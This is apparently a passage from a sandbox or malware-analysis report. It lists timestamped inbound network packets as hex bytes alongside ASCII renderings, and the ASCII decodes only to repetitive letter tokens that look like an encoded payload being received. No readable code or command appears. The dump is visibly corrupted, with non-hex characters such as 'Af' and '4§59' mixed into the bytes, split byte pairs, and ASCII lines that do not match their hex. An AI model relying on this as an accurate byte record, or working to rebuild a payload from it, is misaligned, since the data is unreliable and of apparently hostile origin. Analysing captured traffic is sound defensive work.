6b 20 59 52 20 6b 51 20 51 6b 20 4f 4f 59 20 4f 4f 74 20 4f 78 74 20 51 74 20 59 6f 20 59 52 20 45 59 20 59 78 20 74 6b
20 6f 59 59 20 4b 74 20 4f 78 51 20 4f 4f 6f 20 59 4f 20 6f 4f 20 6f 6f 52 20 6f 78 6b 20 6b 4b 20 4f 4f 4b 20 4f 4f 45 20 52
51 20 74 4f 20 59 78 20 4b 6b 20 59 52 20 52 51 20 4f 78 6b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 45 4f 20 4f 59 6b 20 4b
6b 20 59 78 20 4b 6b 20 59 51 20 74 45 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 51 45 20 6b 20 59 4f 20 59 4b 20 6b 6f 20 51
51 20 4f 4f 59 20 4f 78 4f 20 51 74 20 59 4b 20 4b 45 20 4f 51 4f 20 4f 78 6b 20 6b 4b 20 4f 4f 4b 20 4f 4f 52 20 74 6f 20 4f
52 78 20 4f 45 4b 20 4b 6b 20 59 78
Data Ascii: 000 Yx YK QE OE kK OOK Oot RQ KQ Yx Kk YR kQ Qk OOY OOt Oxt Qt Yo YR EY Yx tk oYY Kt OxQ OOo
YO 00 00R oxk kk OOK OOE RQ tO Yx Kk YR RQ Oxk OOK OOt OXE EO OYk Kk Yx Kk YQ tE OOt OxQ Ooo QE k YO
YK ko QQ OOY OxO Qt YK KE OQO Oxk kk OOK OOR to ORx OEK Kk Yx

2021-11-09 21:21:48 UTC 24 IN Data Raw: 6f 4b 6b 20 59 59 20 4f 4f 6f 20 59 78 20 4b 51 20 6f 45 20 45 6f 20 74 59 20 4b 52 20 6f 45 6f 20 4f 6f 6f 20 45
4f 20 6b 59 20 4b 6b 20 59 78 20 52 78 20 51 59 20 4f 4f 74 20 4f 78 51 20 6f 4b 74 20 4f 4f 78 20 4f 51 4f 20 4f 78 52 20
59 78 20 59 4b 20 6b 59 20 6b 74 20 4f 52 59 20 6f 4b 45 20 4f 4f 6f 20 59 78 20 59 6f 20 6f 52 20 4f 20 6b 4b 20 4f 4f 4b
20 4f 6f 74 20 45 78 20 74 6f 20 59 78 20 4b 6b 20 59 52 20 45 78 20 51 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 51 6f 20 59
6f 20 59 59 20 45 74 20 4f 74 6f 20 51 4b 20 6b 51 20 4f 4f 45 20 4f 78 52 20 4f 78 6f 20 4f 52 6b 20 59 6b 20 6f 45 52 20
59 45 20 4f 4f 4b 20 4f 74 6f 20 4f 4f 74 20 4f 78 74 20 51 78 20 59 78 20 4b 51 20 45 4b 20 59 4b 20 6b 4b 20 4f 4f 4b 20
Af 4f 74 20 4f 78 74 20 4f 4f 6f 20
Data Ascii: oKk YY OO0 Yx KQ oE Eo tY KR oEo Ooo EO kY Kk Yx Rx QY OOt OxQ oKt OOx OQO OxR Yx YK kY kt
ORY oKE 000 Yx Yo oR O kK OOK Oot Ex to Yx Kk YR Ex Q OOK OOt OXE Qo Yo YY Et Oto QK kQ OOE OxR Oxo
ORk Yk 0ER YE OOK Oto OOt Oxt Qx Yx KQ EK YK kK OOK OOt Oxt OO0

2021-11-09 21:21:48 UTC 25 IN Data Raw: 78 20 4b 6b 20 59 52 20 52 6b 20 4b 51 20 4f 4f 45 20 4f 4f 74 20 6f 51 20 4f 4b 20 4b 4b 20 4b 6b 20 59 78 20
52 78 20 4f 6f 4b 20 4f 78 51 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 51 45 20 51 6f 20 59 78 20 59 4b 20 51 4b 20 6f 51 20
4b 45 20 4f 78 51 20 4f 4f 6f 20 59 52 20 45 59 20 59 74 20 45 51 20 51 4b 20 51 78 20 74 45 20 4f 78 51 20 4f 4f 6f 20 59
52 20 6f 51 20 51 6f 20 45 51 20 51 59 20 51 78 20 74 45 20 4f 78 51 20 4f 4f 6f 20 59 52 20 6f 51 20 6b 74 20 45 78 20
59 6f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 51 74 20 59 52 20 6f 4b 20 4f 6f 4f 20 59 4b 20 6b 4b 20 4f 6f 78 20 6f 52 20 4f
6f 20 4f 4f 6f 20 59 78 20 59 6b 20 45 45 20 59 6b 20 4f 6f 4b 20 4f 6b 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 45 59 20 59 51
20 6f 52 20 4f 6f 59 20 6b 4b 20 4f
Data Ascii: x Kk YR Rk KQ OOE OOt 0Q OK KK Kk Yx Rx OoK OxQ OOt OxQ 000 QE Qo Yx YK QK 0Q KE OxQ OO0
YR EY YtEQ QK Qx tE OxQ OO0 YR 0Q Qo EQ QY Qx tE OxQ 000 YR 0Q kt Ex Yo OOK OOt OXE Qt YR oK 000 YK
kK Oox oR Oo OO0 Yx Yk EE Yk OoK Ok OOt OxQ Ooo EY YQ oR OoY kK O

2021-11-09 21:21:48 UTC 26 IN Data Raw: 20 4f 4b 4f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 74 20 6b 6b 20 59 52 20 4b 6b 20 59 78 20 6f 51 20 6b 74 20 4f 4f 6b
20 6f 52 20 4f 45 45 20 4f 4f 45 20 59 78 20 59 4b 20 6f 4b 20 59 4b 20 74 4f 20 52 52 20 4f 6f 52 20 4f 78 51 20 51 6f 20
59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 4f 4f 20 6b 6b 20 45 51 20 4b 6b 20 59 78 20 4b 6b
20 45 6b 20 4b 59 20 4f 4f 45 20 4f 78 51 20 78 20 6f 52 20 6f 45 45 20 59 78 20 59 4b 20 6b 6f 20 51 78 20 4f 6f 52 20 4f
78 51 20 4f 4f 6f 20 6f 59 20 59 4f 20 59 4b 20 59 4f 20 51 78 20 4f 4f 6b 20 4f 6f 45 20 4f 78 4b 20 4f 6f 52 20 59 6f 20 52
6f 20 59 45 20 59 52 20 51 6f 20 4f 6f 4b 20 4f 6f 4b 20 51 51 20 4f 6f 6f 20 51 45 20 6f 78 4b 20 59 4f 20 59 4b 20 6b 6f 20
6b 6b 20 74 20 4f 4f 4f 20 6b
Data Ascii: OKO OOK OOt Oxt kk YR Kk Yx 0Q kt OOk oR OEE OOE Yx YK oK YK tO RR OoR OxQ Qo Yx Kk Yx YK kK
OOK OOt OO0 kk EQ Kk Yx Kk Ek KY OOE OxQ x oR oEE Yx YK ko Qx OoR OxQ OO0 oY YO YK YO Qx OOk OoE
OxK OoR Yo Ro YE YR Qo OoK OoK QQ Ooo QE oxK YO YK ko kkt OO0 k
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kBytes
Timestamp transferred Direction Data

2021-11-09 21:21:48 UTC 28 IN Data Raw: 51 6b 20 4b 4b 20 4f 78 4f 20 4f 78 6f 20 4b 59 20 45 6f 20 6f 52 20 6b 51 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f
78 52 20 4f 78 6f 20 59 51 20 45 6b 20 59 45 20 4f 6b 4b 20 52 4f 20 4f 6f 6f 20 6f 59 4f 20 4b 20 4b 4f 20 6f 52 20 51 59
20 59 78 20 59 4b 20 51 4b 20 4f 20 4f 78 6f 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 59 4f 20 59 6f 20 45 4b 20 51 45 20 4f 6f 6f
20 6f 52 20 74 74 20 4f 4f 6f 20 59 78 20 59 4b 20 45 45 20 59 78 20 4f 45 6b 20 4f 4f 51 20 6b 45 20 4f 74 51 20 4f 4f 6f
20 45 6b 20 6f 52 20 45 59 20 59 78 20 4f 6f 52 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 51 52 20 59 78 20 4b 6b 20 59 78 20
59 4b 20 74 4b 20 4f 4f 4b 20 4f 74 20 6f 45 51 20 4f 4f 6f 20 4b 51 20 52 45 20 59 78 20 59 4b 20 6b 59 20 4f 78 59 20 52
51 20 4f 78 6f 20 4f 4f 6f 20 6f
Data Ascii: Qk KK OxO Oxo KY Eo oR kQ kK OOK Oot OxR Oxo YQ Ek YE OkK RO Ooo 0YO K KO oR QY Yx YK QK O
Ox0 OxQ OO0 Yo YO Yo EK QE Ooo oR tt OO0 Yx YK EE Yx OEk OOQ kE OtQ OOo Ek oR EY Yx OoR OOK OOt Oxk
QR Yx Kk Yx YK tK OOK Ot 0EQ OO0 KQ RE Yx YK kY OxY RQ Oxo OOo o

2021-11-09 21:21:48 UTC 29 IN Data Raw: 78 20 4b 6b 20 59 52 20 52 4f 20 6b 52 20 4f 4f 52 20 74 20 6f 4b 78 20 4f 4f 74 20 59 78 20 52 4b 20 59 45 20
4b 51 20 6f 4f 6b 20 6f 74 20 51 51 20 52 51 20 4f 78 74 20 59 78 20 4b 6b 20 59 6f 20 6f 52 20 6b 6f 20 4f 20 4b 20 4f 78
51 20 4f 4f 6f 20 59 52 20 74 4b 20 59 6f 20 6f 6b 20 74 4f 20 52 52 20 4f 6f 74 20 4f 78 51 20 6f 4b 4f 20 59 78 20 4b 6b
20 59 78 20 45 59 20 6b 4b 20 4f 4f 4b 20 4f 78 78 20 4f 4f 4f 20 4f 4f 59 20 52 4b 20 4f 45 59 20 59 59 20 59 4b 20 45 52
20 51 78 20 6b 4f 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 45 6b 20 6f 52 20 52 51 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 78 45 20
Af 4f 6b 20 6f 52 20 74 78 20 59 78 20 59 4b 20 51 4b 20 4f 6f 4f 20 4f 4f 51 20 4f 4f 51 20 6f 59 45 20 45 74 20 4b 6b 20 5
9 78 20 4b 59 20 4f 4f 45 20 4f 78
Data Ascii: x Kk YR RO kR OOR t oKx OOt Yx RK YE KQ 00k ot QQ RQ Oxt Yx Kk Yo oR ko O K OxQ OOo YR tK Yo ok
tO RR Oot OxQ 0KO Yx Kk Yx EY kk OOK Oxx OO0 OOY RK OEY YY YK ER Qx kO OxQ OOo Yo Ek oR RQ kK OOK
Oot OXE OOk oR tx Yx YK QK 000 O0OQ OOQ oYE Et Kk Yx KY OOE Ox

2021-11-09 21:21:48 UTC 30 IN Data Raw: 20 4f 52 6f 20 4f 45 59 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 4b 20 59 20 59 4b 20 6b 4b 20 4f 6f 78 20 52 20 6b
59 20 4f 4f 6f 20 59 78 20 59 6b 20 6f 52 20 6b 6b 20 6b 4b 20 4f 4f 4b 20 Af 6f 74 20 Af Af 4f 20 45 4f 20 52 52 20 4b 6b
20 59 78 20 52 78 20 6b 74 20 4f 4f 6b 20 51 45 20 74 4b 20 4f 4f 6f 20 59 78 20 59 4b 20 51 45 20 6b 74 20 6b 4b 20 4f
Af 4b 20 4f 6f 74 20 74 4f 20 4f 4f 6f 20 59 78 20 4b 45 20 6f 20 59 45 20 6b 4b 20 4f Af 4f 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f
20 45 45 20 4b 6b 20 59 78 20 45 51 20 6b 52 20 51 4b 20 Af 4f 45 20 4f 4Af 4f 20 6f 59 4b 20 45 4f 20 59 6f 20 45 6b 20 52
78 20 4f 45 6b 20 51 6b 20 4f 4f 51 20 4f 78 59 20 4f 4f 59 20 6f 52 20 74 4b 20 59 78 20 59 4b 20 51 4b 20 4f 6f 78 20 4f
74 4f 20 4f 78 4b 20 6b 52 20 45
Data Ascii: ORo OEY OxQ OO0 YK oK Y YK kK Oox R kY OO0 Yx Yk oR kk kk OOK Oot OO0 EO RR Kk Yx Rx kt OOk
QE tK 000 Yx YK QE kt kk OOK Oot tO OO0 Yx KE 0 YE kk OO0 OOt OxQ OO0 EE Kk Yx EQ kR QK OOE OOO oYK
EO Yo Ek Rx OEk Qk OOQ OxY OQY oR tK Yx YK QK Oox OtO OxK kR E

2021-11-09 21:21:48 UTC 32 IN Data Raw: 6f 20 4f 4f 6f 20 59 78 20 59 6b 20 51 45 20 4f 74 52 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 74 59 20 4f 4f 51 20 45
74 20 4f 78 4b 20 59 74 20 4b 51 20 6b 52 20 6f 51 20 6f 4b 4f 20 4f 78 51 20 4f 4f 6f 20 59 52 20 6f 20 6f 6f 74 20 4b 6b
20 59 51 20 6f 4b 59 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 6f 4b 20 6f 20 4b 6b 20 45 78 20 45 4f 20 4f 4f 4b 20 4f 4f 74 20
4f 78 45 20 6b 6b 20 45 78 20 4b 6b 20 59 78 20 4b 6b 20 4f 6f 52 20 52 4b 20 51 45 20 4f 45 20 4f 4f 6f 20 59 78 20 59
6b 20 4b 6b 20 6b 51 20 59 45 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 51 78 20 59 78 20 4b 6b 20 4b 4f 20 52 20 6b 52 20
Af 4f 4b 20 51 4b 20 4f 78 51 20 4f 4f 6f 20 59 78 20 59 4b 20 59 78 20 59 4b 20 52 51 20 4f 4f 6f 20 51 45 20 6b 4f 20 4f 4f
6f 20 59 78 20 59 6b 20 45 78 20 52
Data Ascii: 0 000 Yx Yk QE OtR kK OOK Oot tY OOQ Et OxK Yt KQ kR 0Q oKO OxQ OOo YR o oot Kk YQ oKY OOt
OxQ 000 oK 0 Kk Ex EO OOK OOt OxE kk Ex Kk Yx Kk OoR RK QE OE OO0 Yx Yk Kk kQ YE OOK OOt OXE Qx Yx Kk
KO R kR OOK QK OxQ 000 Yx YK Yx YK RQ OOo QE kO OO0 Yx Yk Ex R

2021-11-09 21:21:48 UTC 33 IN Data Raw: 20 4f 4f 6b 20 52 4b 20 4b 6b 20 4b 6b 20 45 74 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 78 20 4f 78 51 20 4f 4f 6f
20 45 59 20 59 78 20 74 45 20 59 6f 20 6b 4b 20 4f 4f 4b 20 4f 4f 45 20 4f 4f 78 20 45 4f 20 59 4b 20 4b 51 20 59 78 20 4b
6b 20 52 74 20 4f 6f 78 20 4f 74 4f 20 4f 78 4b 20 6b 52 20 45 52 20 59 6b 20 6f 45 52 20 59 4b 20 6b 6f 20 6b 6b 20 4f 4f
74 20 4f 78 6b 20 51 52 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 78 4f 20 4f 6f 59 20 4f 4f 6f 20 59
59 20 52 45 20 59 78 20 59 4b 20 6b 59 20 4f 78 59 20 52 51 20 4f 4f 4f 20 4f 4f 6f 20 6f 78 20 4b 6b 20 59 78 20 59 4b 20
74 51 20 4f 4f 4b 20 4f 4f 74 20 4f 6f 4b 20 4f 4f 59 20 52 59 20 51 4f 20 59 4f 20 59 4b 20 6b 6f 20 45 59 20 4f 4f 6b 20 4f
Af 4f 20 4f 4f 20 4b 6b 20 4b 6b
Data Ascii: OOk RK Kk Kk Et YK kk OOK OOx OxQ OO0 EY Yx tE Yo kk OOK OOE OOx EO YK KQ Yx Kk Rt Oox OtO
OxK kR ER Yk oER YK ko kk OOt Oxk QR Yx Kk Yx YK kk OOK OxO OoY OO0 YY RE Yx YK kY OxY RQ OOO OOo ox
Kk Yx YK tQ OOK OOt OoK OOY RY QO YO YK ko EY OOk OO0 OO Kk Kk

2021-11-09 21:21:48 UTC 34 IN Data Raw: 6f 74 20 4f 74 51 20 4f 4f 74 20 6f 78 20 45 6b 20 59 52 20 6f 45 6f 20 6b 4b 20 4f 4f 52 20 51 59 20 4f 78 51 20
Af 4f 6f 20 59 4f 20 45 6f 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 6f 74 20 52 4f 20 4b 6b 20 59
59 20 59 74 20 6b 4b 20 4f 4f 4b 20 4f 4f 52 20 4f 4f 6b 20 52 4b 20 4b 6b 20 4b 6b 20 45 52 20 59 4b 20 6b 4b 20 4f 4f 4b
20 4f 78 59 20 4f 78 51 20 4f 4f 6f 20 45 59 20 59 78 20 74 45 20 59 6f 20 6b 4b 20 4f 4f 4b 20 4f 4f 45 20 4f 4f 78 20 45 4f
20 52 45 20 4b 51 20 59 78 20 4b 6b 20 51 4b 20 4f 74 6f 20 4f 4f 6f 20 74 59 20 4f 78 6f 20 59 52 20 6f 45 6b 20 59 78 20
4b 6b 20 4f 6f 52 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 51 52 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20
4f 6f 6f 20 51 6b 20 4f 4f 6f
Data Ascii: ot OtQ OOt ox Ek YR oEo kk OOR QY OxQ OO0 YO Eo Yx YK kk OOK OOt OxQ Oot RO Kk YY Yt kk OOK
OOR OOk RK Kk Kk ER YK kK OOK OxY OxQ OO0 EY Yx tE Yo kk OOK OOE OOx EO RE KQ Yx Kk QK Oto OOo tY
Ox0 YR oEk Yx Kk OoR OOK OOt Oxk QR Yx Kk Yx YK kk OOK Ooo Qk OO0

2021-11-09 21:21:48 UTC 36 IN Data Raw: 4f 4f 6f 20 4f 4b 20 4f 4f 4f 20 4f 4f 6f 20 59 78 20 59 6f 20 4b 51 20 6b 51 20 51 4b 20 4f 4f 59 20 4f 4f 74 20 4f
78 74 20 4f 6f 6f 20 6f 45 52 20 59 45 20 6f 78 20 45 6f 20 51 4b 20 4f 74 6f 20 4f 4f 74 20 4f 78 74 20 51 78 20 59 78 20
4b 6b 20 59 4f 20 45 6b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 52 45 20 52 4f 20 59 4b 20 6b
4f 20 4f 6f 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 4b 4f 20 78 20 4b 6b 20 59 4b 20 52 52 20 4f 4f 4b 20 4f 4f 74 20 4f 78
51 20 4f 78 6b 20 59 78 20 4b 6b 20 45 59 20 59 6f 20 4b 74 20 4f 4f 6f 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 4b 51 20 51
59 20 45 6b 20 59 59 20 6b 4b 20 4f 4f 52 20 4f 6f 74 20 4f 74 51 20 4f 4f 74 20 6f 78 20 45 6b 20 59 52 20 6f 45 6f 20 6b
4b 20 4f 4f 52 20 51 59 20 4f
Data Ascii: OO0 OK OO0 000 Yx Yo KQ kQ QK OOY OOt Oxt Ooo oER YE ox Eo QK Oto OOt Oxt Qx Yx Kk YO Ek kK
OOK OO0t OxQ 000 Yx RE RO YK kO OoY OOt OxQ OOE KO x Kk YK RR OOK OOt OxQ Oxk Yx Kk EY Yo Kt OO0
OO0t OxQ OOR KQ QY Ek YY kK OOR Oot OtQ OOt ox Ek YR oEo kk OOR QY O

2021-11-09 21:21:48 UTC 37 IN Data Raw: 20 59 78 20 59 4b 20 52 51 20 51 51 20 4f 4f 74 20 4f 78 4b 20 4f 6f 74 20 59 78 20 4b 6b 20 59 4f 20 4f 6f 20
6b 52 20 4f 78 4f 20 6f 52 20 45 52 20 4f 4f 6f 20 59 78 20 59 4b 20 4b 6b 20 45 78 20 4f 51 59 20 4f 4f 4b 20 4f 4f 74 20 4f
78 45 20 51 78 20 59 78 20 45 59 20 6f 20 59 6f 20 6b 4b 20 59 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20
59 78 20 59 4b 20 6b 74 20 51 4b 20 4b 51 20 4f 4f 4f 20 4f 4f 20 4b 6b 20 4b 6b 20 59 78 20 59 78 20 4f 6f 78 20 74 6b 20
Af 4f 51 20 6f 6f 20 4f 4f 4b 20 59 78 20 4b 6b 20 59 4b 20 52 74 20 6f 4f 59 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 6b 59 20
45 4f 20 59 4f 20 6f 78 20 6f 51 20 6b 4f 20 6f 51 20 6f 45 74 20 4f 78 51 20 4f 4f 6f 20 59 52 20 59 78 20 74 45 20 59 6f 20
6b 4b 20 4f 4f 4b 20 4f 4f 45
Data Ascii: Yx YK RQ QQ OOt OxK Oot Yx Kk YO Oo kR OxO oR ER OO0 Yx YK Kk Ex OQY OOK OOt OxE Qx Yx EY o
Yo kK Yk OOt OxQ OO0 Yx Kk Yx YK kt QK KQ OO0 OO Kk Kk Yx Yx Oox tk OOQ 0o OOK Yx Kk YK Rt o0OY OOK OOt
Oxk kY EO YO ox 0Q kO 0Q oEt OxQ OO0 YR Yx tE Yo kk OOK OOE
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kBytes
Timestamp transferred Direction Data

2021-11-09 21:21:48 UTC 38 IN Data Raw: 6b 6f 20 51 4b 20 4f 59 52 20 4f 78 78 20 51 51 20 59 59 20 45 4b 20 59 59 20 52 51 20 6f 4f 52 20 4f 4f 59 20
4f 4f 74 20 4f 78 74 20 6b 6b 20 4f 4b 45 20 4b 51 20 59 78 20 4b 6b 20 74 78 20 4f 4f 51 20 51 74 20 52 51 20 4f 6b 45 20
59 4f 20 4b 6b 20 59 6f 20 52 51 20 4f 51 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 51 51 20 59 6f 20 45 4b 20 59 59 20 52
6b 20 4f 6b 6f 20 4f 4f 74 20 4f 4f 74 20 6f 51 20 6b 6b 20 4f 4b 4f 20 4b 51 20 59 78 20 4b 6b 20 4f 6f 74 20 4f 78 52 20 4f
4§59 20 6f 20 52 4b 20 59 78 20 4b 6b 20 59 6f 20 6f 74 20 6b 6f 20 4f 20 6f 4f 45 20 4f 78 51 20 4f 4f 6f 20 59 52 20 74 4k
20 4f 6b 20 6f 6f 6f 20 6b 74 20 4f 4f 4b 20 4f 4f 74 20 52 51 20 6f 45 51 20 59 78 20 4b 6b 20 59 52 20 4b 6b 20 52 51 20
4f 4f 51 20 4f 78 45 20 41 78 74
Data Ascii: ko QK OYR Oxx QQ YY EK YY RQ 00R OOY OOt Oxt kk OKE KQ Yx Kk tx 00Q Qt RQ OKE YO Kk Yo RQ
0OQK OOK 0Ot OXE QQ Yo EK YY Rk Oko OOt OOt 0Q kk OKO KQ Yx Kk Oot OXR OOY 0 RK Yx Kk Yo ot ko O 00OE
0xQ 000 YR tK Ok 000 ki OOK 00t RQ 0EQ Yx Kk YR Kk RQ OOQ OXE Oxt

2021-11-09 21:21:48 UTC 40 IN Data Raw: 20 59 6f 20 4f 4b 52 20 6f 45 20 4b 74 20 52 4b 20 4f 4b 78 20 4f 4f 59 20 59 4b 20 4f 4f 6f 20 59 78 20 59 4b
20 52 59 20 4f 6b 45 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 6f 78 74 20 6b 59 20 4b 78 20 45 52 20 6f 78 4b 20 4b 6b 20 6b 20
Af 4f 4b 20 4f 4f 74 20 4f 78 74 20 45 20 4f 74 51 20 4b 6b 20 59 78 20 4b 6b 20 6f 4b 52 20 6b 74 20 4f 4f 78 20 4f 6f 4f 20
4f 4b 6f 20 59 6f 20 4f 78 51 20 59 78 20 59 4b 20 6b 6f 20 4f 20 6f 4b 4b 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 4f 4b 52 20 6f
45 20 4b 6f 20 52 4b 20 4f 4b 78 20 4f 4f 59 20 59 78 20 4f 4f 6f 20 59 78 20 59 4b 20 52 59 20 4f 6b 45 20 6b 4b 20 4f 4f 4
b 20 4f 4f 59 20 6f 78 74 20 6b 59 20 4b 74 20 45 52 20 6f 78 4b 20 4b 6b 20 59 6f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 74 20
45 20 4f 74 51 20 4b 6b 20 59 78
Data Ascii: Yo OKR oE Kt RK OKx OOY YK OO0 Yx YK RY OKE kK OOK OOY oxt kY Kx ER oxK Kk k OOK OOt Oxt E
OtQ Kk Yx Kk oKR kt OOx 000 OKo Yo OxQ Yx YK ko O oKK OxQ OO0 Yo OKR oE Ko RK OKx OOY Yx OOo Yx YK
RY OKE kK OOK OOY oxt kY Kt ER oxK Kk Yo OOK OOt Oxt E OtQ Kk Yx

2021-11-09 21:21:48 UTC 41 IN Data Raw: 20 4b 6b 20 4f 4f 45 20 4f 20 6f 4f 78 20 4f 78 51 20 4f 4f 6f 20 59 52 20 51 59 20 51 45 20 59 59 20 6b 4b 20 4f
4f 52 20 6b 78 20 45 78 20 4f 78 59 20 59 78 20 4b 6b 20 59 52 20 6b 51 20 45 59 20 4f 4f 59 20 4f 4f 74 20 4f 78 74 20
6b 59 20 52 59 20 52 20 59 78 20 59 4b 20 51 4b 20 6f 51 20 4f 6f 20 4f 78 6b 20 4f 4f 6f 20 59 6f 20 61 4f 20 52 59 20 4f
59 6b 20 6b 4b 20 4f 4f 4b 20 4f 6 74 20 6f 20 6f 59 4f 20 59 4f 20 4b 6b 20 59 6f 20 4f 51 20 45 51 20 6f 4f 6b 20 4f 4f 74
20 4f 78 51 20 4f 6f 6f 20 51 45 20 74 51 20 59 4f 20 59 4b 20 6b 6f 20 6b 74 20 52 20 4f 51 52 20 4f 4f 6f 20 59 78 20 59
6b 20 51 45 20 74 74 20 6b 59 20 4f 4f 4b 20 4f 4f 59 20 74 6f 20 45 20 4f 59 4b 20 4b 6b 20 59 78 20 52 78 20 59 51 20 6f
59 4f 20 4f 4f 52 20 4f 78 51 20 4f
Data Ascii: Kk OOE O 00x OxQ 000 YR QY QE YY kK OOR kx Ex OxY Yx Kk YR kQ EY OOY OOt Oxt kY RY R Yx YK
QK 0Q 00 Oxk 000 Yo 00 RY OYk kk OOK Oot 0 0YO YO Kk Yo OQ EQ 0Ok OOt OxQ oo QE tQ YO YK ko kt R OQR
000 Yx Yk QE tt kY OOK OOY to E OYK Kk Yx Rx YQ 0YO OOR OxQ O

2021-11-09 21:21:48 UTC 42 IN Data Raw: 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4f 4f 59 20 4b 51 20 59 78 20 59 4b 20 6f 6f 20 4f 4f 59
20 4f 4f 74 20 4f 78 51 20 4f 4f 74 20 59 78 20 4b 6b 20 59 78 20 59 74 20 6b 4b 20 4f 4f 4b 20 4f 4f 52 20 4f 4f 6b 20 52
4b 20 4b 51 20 4b 6b 20 6b 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 6b 59 20 4f 78 51 20 4f 4f 6f 20 45 59 20 4b 74 20 4b 52
20 45 78 20 52 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 6f 20 74 4b 20 59 52 20 59 78 20 74 78 20 4f 6f 4b 20 74 59 20 4f 4f
74 20 4f 78 51 20 4f 6f 6f 20 59 52 20 59 4b 20 6f 52 20 4f 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 52 59 20 74 78 20 59
6f 20 52 74 20 6b 52 20 59 4b 20 6b 4b 20 4f 6f 78 20 51 45 20 4f 51 6f 20 4f 4f 6f 20 59 78 20 59 6b 20 6f 52 20 4f 4f 52
20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f
Data Ascii: kK OOK OOt OxQ OO0 OOY KQ Yx YK 0o OOY OOt OxQ OOt Yx Kk Yx Yt kK OOK OOR OOk RK KQ Kk kx
YK kK OOK kY OxQ OO0 EY Kt KR Ex R OOK OOt OXE 0 tK YR Yx tx OoK tY OOt OxQ Oo0 YR YK oR OYK kK OOK
Oot RY tx Yo Rt kR YK kK Oox QE OQo OO0 Yx Yk oR OOR kK OOK Oot O

2021-11-09 21:21:48 UTC 44 IN Data Raw: 74 20 4f 78 51 20 4f 4f 4b 20 6f 52 20 4f 45 52 20 59 78 20 59 4b 20 51 4b 20 51 78 20 6f 78 4b 20 4f 78 51 20
4f 4f 6f 20 59 52 20 6f 4b 20 4f 45 52 20 59 4b 20 6b 4b 20 4f 6f 78 20 6f 4b 59 20 4f 78 52 20 4f 4f 45 20 59 78 20 59 6f 20
7452 20 4b 51 20 6b 59 20 4f 4f 4b 20 4f 4f 45 20 6f 6f 20 6f 78 45 20 59 78 20 4b 6b 20 59 52 20 74 6f 20 6b 45 20 4f 4f
59 20 4f 4f 74 20 4f 78 59 20 4f 4b 20 59 6f 20 4b 51 20 59 78 20 59 78 20 4f 6f 4f 20 52 52 20 51 51 20 45 4f 20 6f 45 78
20 59 6b 20 4b 6b 20 52 52 20 45 4b 20 4f 45 6f 20 4f 6f 52 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 6f 52 20 4f 45 52 20 59
78 20 59 4b 20 51 4b 20 4f 78 4f 20 6f 4b 6b 20 6f 6f 4b 20 4f 4f 6f 20 59 78 20 4b 51 20 6f 45 20 45 6f 20 52 52 20 4f 78 61
20 51 45 20 6f 78 51 20 4f 4f 6f
Data Ascii: t OxQ OOK oR OER Yx YK QK Qx oxK OxQ OOo YR oK OER YK kK Oox oKY OxR OOE Yx Yo tR KQ kY
OOK OOE 00 oXxE Yx Kk YR to kE OOY OOt OxY OK Yo KQ Yx Yx 000 RR QQ EO oEx Yk Kk RR EK OEo OoR OOt Ox
Q OOK oR OER Yx YK QK OxO oKk 0oK OO0 Yx KQ oE Eo RR Oxo QE oxQ OOo

2021-11-09 21:21:48 UTC 45 IN Data Raw: 20 4b 6b 20 4f 4f 52 20 59 4b 20 74 6f 20 4f 52 20 4f 4f 74 20 51 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 4f
74 52 20 6b 52 20 51 78 20 4f 74 4f 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 51 59 20 51 20 59 4b 20 6b 4b 20 4f 4f 52 20 6b 78
20 4f 4f 74 20 52 74 20 59 6b 20 59 78 20 4b 51 20 59 78 20 4f 6f 4b 20 4b 45 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 4b 45
20 45 20 59 6f 20 52 51 20 6f 59 59 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 4f 78 20 6f 4b 20 4f 6b 6f 20 4b 6b 20 45 78 20 41
6b 45 20 4f 4f 4b 20 4f 4f 74 20 4f 78 74 20 45 4f 20 4f 4b 20 4b 6b 20 59 78 20 4b 6b 20 4f 4f 45 20 4f 78 52 20 74 78 20
